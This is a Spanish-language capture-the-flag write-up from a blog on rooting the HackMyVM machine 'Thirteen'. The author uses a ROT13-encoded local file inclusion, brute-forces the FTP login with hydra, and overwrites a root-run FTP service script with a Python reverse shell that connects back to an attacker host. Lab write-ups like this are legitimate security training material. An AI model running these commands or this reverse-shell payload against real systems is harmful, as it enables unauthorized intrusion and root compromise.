cd ~/blog

~/writeups/hmv/134-thirteen.md

134 - Thirteen

easy Linux hmv 13-08-2025
ROT13-obfuscated LFIFTP credential brute forceWritable FTP service script (root RCE)
hackmyvm.eu/machines/machine.php?vm=Thirteen

~1 min de lectura


Enumeramos puertos:

 nmap -sCV -p 21,22,80 -oN 02-targeted.txt 10.32.32.76
...
21/tcp open  ftp     pyftpdlib 2.0.1
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: iCloud Vault Access
...

Enumeramos directorios con gobuster (welcome.txt, config.txt, readme.txt, /logs en 403):

 gobuster dir -u 'http://10.32.32.76' -w directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r
/welcome.txt   /config.txt   /readme.txt   /logs (403)   /server-status (403)

La web carga archivos mediante ?theme=, y los botones apuntan a esos mismos nombres pero en ROT13 (de ahí "Thirteen": jrypbzr.gkgwelcome.txt). Confirmamos un LFI codificando la ruta en ROT13:

 rot13 'jrypbzr.gkg pbasvt.gkg ernqzr.gkg'
welcome.txt config.txt readme.txt

 rot13 '/etc/passwd'
/rgp/cnffjq

 curl 'http://10.32.32.76/?theme=/rgp/cnffjq' | grep bash
root:x:0:0:root:/root:/bin/bash
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash
max:x:1001:1001::/home/max:/bin/bash

Leyendo el log del FTP (/logs/ftp_server.log vía LFI) vemos que el usuario ADMIN se autentica; hacemos fuerza bruta con hydra:

 hydra -l ADMIN -P ~/Documentos/wordlists/rockyou.txt ftp://10.32.32.76:21 -t 64
...
[21][ftp] host: 10.32.32.76   login: ADMIN   password: 12345
...

Dentro del FTP están ftp_server.py y rev.sh (propiedad de root). Comprobamos que tenemos permisos de escritura subiendo un archivo de prueba:

ftp> put file.txt        # aparece en el listado → escritura permitida

ftp_server.py es el propio servicio FTP (ejecutado como root), así que lo sobrescribimos con una reverse shell:

❯ cat ftp_server.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.32.32.50",1234))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
ftp> put ftp_server.py
226 Transfer complete.

Disparamos la ejecución cargando el log del FTP vía LFI (?theme= con la ruta en ROT13: rot13 logs/ftp_server.logybtf/sgc_freire.ybt) y recibimos shell de root:

 ncat -nlvp 1234
Ncat: Connection from 10.32.32.76:38528.
bash: cannot set terminal process group (428): Inappropriate ioctl for device
bash: no job control in this shell
root@13max:/opt#

Obtenemos ambas flags.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados